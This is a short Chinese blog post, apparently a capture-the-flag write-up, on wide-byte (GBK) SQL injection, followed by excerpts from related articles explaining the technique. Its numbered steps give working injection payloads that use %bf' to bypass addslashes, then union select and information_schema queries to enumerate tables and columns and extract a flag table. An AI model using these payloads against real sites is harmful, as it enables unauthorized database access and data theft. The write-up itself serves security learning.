SQL寬位元組注入01

2021-10-01 14:45:54 字數 1690 閱讀 2453

1、' and 1=1 %23   //不報錯

' and 1=2 %23   //報錯

2、id=1%bf' order by 5 %23    //檢視字段數,即列數

3、id=1%bf' and 1=2  union select 1,2,3,4,5%23   //查詢回顯點

//查詢有哪些資料庫,  該語句查出了全部的資料庫

5、id=1%bf' and 1=2 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema = 'kzf' %23  //查詢kzf中有哪些表

1)先select database()找出當前資料庫 【可省略】

2)將'kzf'改為 select database()

6、我想進行第三層巢狀的時候,不是報錯,就是顯示空內容。來回試了幾次的我覺得另找它路,發現:

id=1%bf' and 1=2 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema =(select database()) and table_name =0x746869735f666c6167 %23  //查詢this_flag的欄位名

7、id=1%bf' and 1=2 union select 1,id,flag,4,5 from this_flag %23   //獲取字段內容

SQL注入 寬位元組注入

php測試 物件導向寫法 id addslashes get id 獲取id並轉義預定義字元 id get id mysqli new mysqli localhost root root test 連線資料庫 指定資料庫 if mysqli connect errno else else 面向過程...

SQL寬位元組注入

什麼是寬位元組注入?寬位元組注入就是因為gbk編碼方式需要兩個ascii碼組合來解碼,所以形象的叫做寬位元組,這個作為了解即可 寬位元組注入的條件 1 資料庫查詢設定為gbk編碼 2 使用了addslashes mysql real escape string mysql escape string...

mysql 寬位元組注入 SQL注入之寬位元組注入

簡介 寬位元組注入是相對於單位元組注入而言的。單位元組注入就是大家平時的直接在帶有引數id的url後面 追回sql語句進行注入。比如 1 1 1 2 這個經典的判斷目標是否存在注入的例子就是單位元組注入。理論上說,只要資料庫連線 設定了gbk編碼,或者是預設編碼就 是gbk,那現在的程式裡到處都是注...